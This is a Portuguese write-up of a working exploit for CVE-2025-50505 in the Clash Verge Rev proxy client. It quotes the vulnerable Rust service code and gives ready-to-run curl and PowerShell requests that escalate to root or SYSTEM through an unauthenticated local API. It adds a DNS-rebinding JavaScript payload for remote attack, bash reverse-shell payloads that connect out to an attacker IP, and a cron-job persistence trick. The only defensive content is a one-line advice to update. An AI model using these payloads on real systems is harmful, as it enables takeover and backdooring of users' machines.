Exploit para CVE-2025-50505 no Clash Verge Rev, demonstrando escalonamento local de privilégio e execução remota de código via API não autenticada, incluindo técnicas de DNS rebinding e shell reverso.
API não autorizada leva à execução arbitrária de comandos e escalonamento de privilégios no Clash Verge Rev
A vulnerabilidade decorre de um endpoint de API não autenticado exposto pelo componente clash-verge-service, que é instalado com privilégios elevados por padrão. Essa falha permite que atacantes executem comandos arbitrários, levando a dois cenários principais de ataque: Escalonamento Local de Privilégios (LPE) na máquina host e Execução Remota de Código (RCE) em condições específicas.
O vetor RCE pode ser explorado por atacantes na mesma Rede Local (LAN) se o usuário tiver habilitado conexões LAN. Mais criticamente, pode ser explorado a partir da internet pública ao combinar a vulnerabilidade com um ataque de DNS Rebinding, permitindo que atacantes ignorem as políticas de segurança do navegador e executem comandos na máquina da vítima simplesmente fazendo-a visitar um site malicioso.
O alerta público inicial sobre essa vulnerabilidade foi fornecido por @KawaiiZapic no X.
O componente clash-verge-service é executado com privilégios elevados (root ou SYSTEM) e expõe uma API HTTP não autenticada em 127.0.0.1:33211. A vulnerabilidade está no endpoint /start_clash, que aceita um payload JSON para controlar a inicialização do processo principal do Mihomo.
O serviço constrói e executa um comando baseado em vários parâmetros desse payload, seguindo uma estrutura semelhante a:
<bin_path> -d <config_dir> -f <config_file> >> <log_file>
Crucialmente, todos os quatro parâmetros—bin_path, config_dir, config_file e log_file—são totalmente controláveis pelo atacante. Embora o Rust forneça proteção inerente contra injeção clássica de comandos (por exemplo, usando ; ou | para encadear comandos), o controle do atacante sobre toda a estrutura do comando permite um ataque em dois estágios para alcançar a execução arbitrária de código.
/start_clashclash-verge-service/src/service/mod.rs
// Linha 29
const LISTEN_PORT: u16 = 33211;
// Linhas 77~80
let api_start_clash = warp::post()
.and(warp::path("start_clash"))
.and(warp::body::json())
.map(move |body: StartBody| wrap_response!(COREMANAGER.lock().unwrap().start_clash(body)));
// Linhas 98~107
warp::serve(
api_get_version
.or(api_start_clash)
.or(api_stop_clash)
.or(api_stop_service)
.or(api_get_clash)
.or(api_exit_sys),
)
.run(([127, 0, 0, 1], LISTEN_PORT))
.await;
start_clash() chama start_mihomo() e start_mihomo() chama a função process::spawn_process(bin_path, &args, log) passando bin_path. spawn_process() chama std::Command::new(command) para executar o comandoclash-verge-service/src/service/core.rs
let pid = process::spawn_process(bin_path, &args, log)?;
clash-verge-service/src/service/process.rs
let child = Command::new(command)
.args(args)
.stdout(log)
.stderr(Stdio::null())
.spawn()?;
echo -e '#!/bin/bash\nid > /root/pwned' > /home/user/pwn
chmod +x /home/user/pwn
curl -XPOST http://127.0.0.1:33211/start_clash \
-H 'Content-Type: application/json' \
-d '{
"bin_path":"/home/user/pwn",
"config_dir":"/tmp",
"config_file":"/dev/null",
"log_file":"/tmp/x"
}'
sudo cat /root/pwned
pwn.bat:
@echo off
whoami > C:\Users\xxx\Desktop\pwned.txt
test.ps1:
$apiUrl = "http://127.0.0.1:33211/start_clash"
$headers = @{ "Content-Type" = "application/json" }
$body = @{
bin_path = "C:\Users\xxx\Desktop\pwn.bat"
config_dir = "C:\Windows\Temp"
config_file = "NUL"
log_file = "C:\Windows\Temp\exploit.log"
} | ConvertTo-Json
Invoke-RestMethod -Uri $apiUrl -Method Post -Headers $headers -Body $body
A vulnerabilidade pode ser escalada para RCE em dois cenários.
Se um usuário ativar a opção "Permitir LAN" (局域网连接) no cliente Clash Verge Rev, o servidor proxy da aplicação se torna acessível a todos os dispositivos na mesma rede local. Um atacante na mesma LAN pode explorar isso direcionando sua requisição maliciosa através do proxy exposto da vítima.
curl --proxy http://192.168.108.129:7897 \
-XPOST http://127.0.0.1:33211/start_clash \
-H 'Content-Type: application/json' \
-d '{
"bin_path":"/caminho/para/script/malicioso",
"config_dir":"/tmp",
"config_file":"/dev/null",
"log_file":"/tmp/x"
}'
Um ataque mais avançado pode ser realizado a partir da internet sem exigir acesso à LAN. A cadeia de ataque aproveita o DNS Rebinding em combinação com um comportamento específico do navegador conhecido como exploit "0.0.0.0-day".
A chave para este ataque é que o Firefox e certas versões do Chromium tratam o endereço IP 0.0.0.0 como um alias para 127.0.0.1. Isso permite que um atacante contorne recursos modernos de segurança do navegador, como a Política de Mesma Origem (SOP) e o Acesso a Rede Privada (PNA).
O fluxo do ataque é o seguinte:
attacker.com).attacker.com para seu endereço IP público real. A página maliciosa carrega no navegador da vítima.attacker.com para 0.0.0.0 com um TTL muito curto.attacker.com e agora recebe 0.0.0.0.127.0.0.1 na máquina da vítima.Como a origem da requisição ainda é attacker.com, o script contorna com sucesso as restrições de segurança e se comunica diretamente com a API vulnerável do clash-verge-service em 127.0.0.1:33211, alcançando execução remota de código.
/**
* Payload do Clash-Verge-Rev
*/
const ClashVergeTrueLog = () => {
const BODY = `{
"bin_path": "/bin/true",
"config_dir": "<?php phpinfo();?>",
"config_file": "/dev/null",
"log_file": "/var/www/html/exp.php"
}`;
function attack() {
fetch("/start_clash", {
method: "POST",
headers: { 'Content-Type': 'application/json' },
body: BODY
}).then(() => console.log("[Clash-True] enviado"));
}
async function isService(headers,cookie,body){
try {
const r = await fetch("/version", {method:"GET"});
const t = await r.text();
return t.includes("Clash");
} catch { return false; }
}
return {attack, isService};
};
Registry["Clash Verge Rev RCE"] = ClashVergeTrueLog();
Substitua o probe PHP por qualquer linguagem de script que suporte marcadores de limite. Se você quiser obter um shell root, consulte a próxima seção e modifique o payload.
./singularity-server --HTTPServerPort 33211https://github.com/user-attachments/assets/b0846486-cd24-4f3a-987e-54388c82c148
Nota: Ao personalizar Content-Type para application/json, não defina no-cors. Primeiro depois segundo é um modo de rebinding DNS mais lento, porém mais estável. Você também pode escolher respostas múltiplas, mas isso pode ser mitigado por alguns servidores DNS públicos, fazendo com que o ataque falhe.
MacOS e alguns sistemas Linux (ex.: Kali) possuem zsh instalado, o que permite que scripts sejam executados com -d e -f.
curl --proxy http://192.168.108.129:7897 -XPOST http://127.0.0.1:33211/start_clash \
-H "Content-Type: application/json" \
-d @- << 'EOF'
{
"bin_path": "/bin/echo",
"config_dir": ";bash -c 'bash -i >& /dev/tcp/192.168.108.129/4444 0>&1';",
"config_file":"/dev/null",
"log_file": "/tmp/rce_file"
}
EOF
# OU CONFIGURE UM CRON JOB
curl --proxy http://192.168.108.129:7897 -XPOST http://127.0.0.1:33211/start_clash \
-H "Content-Type: application/json" \
-d @- << 'EOF'
{
"bin_path": "/bin/echo",
"config_dir": ";python3 -c \"open('/etc/cron.d/rev_shell','w').write(\\\"* * * * * root bash -c 'bash -i >& /dev/tcp/192.168.108.129/4444 0>&1'\\n\\\");\"; rm /tmp/rce_file;",
"config_file":"/dev/null",
"log_file": "/tmp/rce_file"
}
EOF
curl --proxy http://192.168.108.129:7897 -XPOST http://127.0.0.1:33211/start_clash \
-H 'Content-Type: application/json' \
-d '{"bin_path": "/bin/zsh","config_dir": "/tmp/rce_file","config_file": "/dev/null","log_file": ""}'
let _ = writeln!(log, "Spawning process: {} {}", command, args.join(" "));
log.flush()?;
let child = Command::new(command)
.args(args)
.stdout(Stdio::from(log))
.stderr(Stdio::null())
.spawn()?;
Agradecimentos a @Esonhugh por sugerir que zsh pode ser usado para executar comandos com sucesso nessas condições.
Atualize para a versão mais recente.